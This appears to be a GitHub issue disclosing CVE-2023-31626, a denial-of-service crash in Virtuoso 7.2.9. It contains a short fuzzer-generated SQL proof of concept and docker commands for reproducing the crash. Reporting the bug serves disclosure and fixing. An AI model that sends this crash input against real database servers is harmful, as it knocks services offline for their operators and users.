CVE-2023-31626: virtuoso 7.2.9 crashed at gpf_notice · Issue #1129 · openlink/virtuoso-opensource
An issue in the gpf_notice component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.
This crash seems can only be reproduced when compiling virtuoso with --with-debug.
When using the docker container, the SQL statement will strangely make the client shell STUCK, but will not crash the server.
The PoC is generated by my DBMS fuzzer.
CREATE TABLE t4 ( a VARCHAR, b VARCHAR ); SELECT MIN(b), MIN(b) FROM t4;

ways to reproduce (write poc to the file ‘/tmp/test.sql’ first):
remove the old one
docker container rm virtdb_test -f
start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
wait the server starting
sleep 10
check whether the simple query works
echo “SELECT 1;” | docker exec -i virtdb_test isql 1111 dba
run the poc
docker exec -i virtdb_test isql 1111 dba < “/tmp/test.sql”
